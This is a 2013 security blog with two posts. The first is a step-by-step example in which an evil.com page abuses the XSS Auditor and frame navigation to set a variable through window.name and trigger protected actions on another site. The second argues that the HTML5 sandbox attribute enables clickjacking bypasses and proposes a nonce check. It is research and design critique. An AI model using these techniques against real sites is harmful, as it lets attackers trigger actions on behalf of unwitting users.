Saturday, April 20, 2013

How frames can mess with parent's namespace

This post describes pitfalls of cross-frame navigation. It started to "feel wrong" from the very beginning, and yesterday I noticed another quite interesting behaviour.

First of all, look closely at 'frames' property. Did you know that...


window == frames
true
self == frames
true
frames and window are the same variable — WindowProxy object. 
You probably know that any frame is accessible in parent via calling window.name:
<iframe name="some_frame" src=...> creates some_frame variable pointing to another WindowProxy object.

The tricky part is, frame can redefine its own window.name and it will inject a new variable in parent's namespace (if that variable is undefined — you cannot shadow existing variables...)

Let me remind you the "script killer" trick (we used to kill framebreakers with it). XSS Auditor by default removes pieces of scripts looking "malicious" (if you want to cut off <script src="/lib.js"></script> just pass this code in the query string)

Rough example:
1. page on (frameable) site.com has some innocent iframe (e.g. facebook like).
2. also it does some actions when JS variable 'approved' is true-ish:
<script>var approved = false</script>
after page load or click ...
<script>if(approved){actions!}else{alert('not approved yet');}
3. evil.com opens <iframe name="target" src="http://site.com/page?slice=%3Cscript%3Evar%20approved%20%3D%20false%3C%2Fscript%3E"> - this kills approved variable.
4. Now it navigates facebook button (because of Frame Navigation madness) target[0].location='http://evil.com/constructor' (target is WindowProxy - and [0] is its first frame - fb like)
5. constructor changes frame's window.name = 'approved'
6. now there is "approved" variable in namespace of site.com and if(approved) returns true - actions!

Also:
1. approved+'' returns "[object Window]" (didn't find a way to redefine toString). Would be much more dangerous if we could play with the stringified value
2. it can be any complex nested variable (/constructor will just build nested frames page with specific window.names). e.g. config.user.names[0] - we can replace this variable (creating iframe in "names" iframe under "user" iframe which is under "config" iframe)! With [object Window], but anyway ;)
3. you can use this playground from previous post

Such tricks are reminders how ridiculous web standards can be (URL disclosure is my favorite WontFix).


Friday, April 5, 2013

HTML5 Sandbox - a bad idea

About sandbox.

I don't like both idea and implementations of the Sandbox feature (part of so-called HTML5). Most of the articles about it are lame copy-pastes of the spec. Straight question WHY WE NEED IT AT ALL remains not answered. Furthermore, nobody writes that implementation is a little bit crazy — by fixing small vulnerabilities it introduces huge ones.

Why?

When we embed frames with external content we are still open for navigational and/or phishing attacks (obviously cookies/inner HTML cannot be stolen because of the same origin policy). The iframe code can change top.location or open a phishing popup window prompt('your password?'). ... that's it. That's all we needed to fix.

Besides allow-popup and allow-top-navigation options W3C introduced allow-scripts, allow-forms and allow-same-origin. They wanted best you know the rest.

Javascript... malicious shit.

OMG, sandbox can load any page with javascript turned off.

People are still fixing CSS for IE6. Meanwhile W3C destroys all Javascript-based framebreakers, not asking anyone's advice (only one anti-clickjacking solution left - X-Frame-Options). Nobody gave a shit about compatibility, I guess.

W3C needed a really good reason to introduce such a crazy feature: "Javascript from a frame can do malicious actions, now you can turn it off".
Malicious what? Tomorrow they will call Javascript a Remote Code Execution Vulnerability and ask us to remove the browser? Javascript cannot be malicious on it's own!

allow-forms + disallow scripts = clickjacking working like a charm for javascript-based framebreakers. Surely, not everyone uses X-Frame-Options yet, e.g. vk.com. UPDHere is a talk from BlackHat 11 last 2 years it is WontFix :O

Untrusted code on the same origin.

Another announced killer-feature of Sandbox - running untrusted code on your origin (remark: USE A SUBDOMAIN DONT BE STUPID). People tend to believe it: "Cool, I will set up a javascript playground on my website!". This?

<iframe src="SITE/playground?code=alert(1)" sandbox="allow-scripts"> 

Now think again, what stops an attacker to simply use 'SITE/playground?code=alert(1)' as an XSS hole?

Following may sound like a genius idea to prevent it - putting Sandbox into Content-Security-Policy header and let server-side to set sandbox directive. So far only Chrome supports such header (I use this technology in Pagebox - XSS protection through privilegies).

You cannot rely on it out-of-box, thus you need a way more comprehensive solution — you have to make sure that current page is loaded under sandbox (request is authentic), not in a new window

Server-side on th owner page: cookie[:nonce]=SecureRandom.hex(16).

HTML code: <iframe src="SITE/playground?code=alert(1)&nonce=123qwe123" sandbox="allow-scripts"> 

Playground server side: if params[:nonce] and cookie[:nonce] == params[:nonce] ..response..

Now you are secure from arbitrary code reflection. Anyway, don't use it. 

Sandbox was intended only to prevent top navigation (related frame navigation madness) and "phishing" popups. Severity of fixed = very low.

Eventually Sandbox simply broke the Web by creating a new clickjacking bypass. Severity of introduced = high.

Misleading posts make people think that Sandbox is a secure way to embed arbitrary content, but there are strings attached.

I don't mean Sandbox is all bad, I only state that current Sandbox is a poorly designed feature.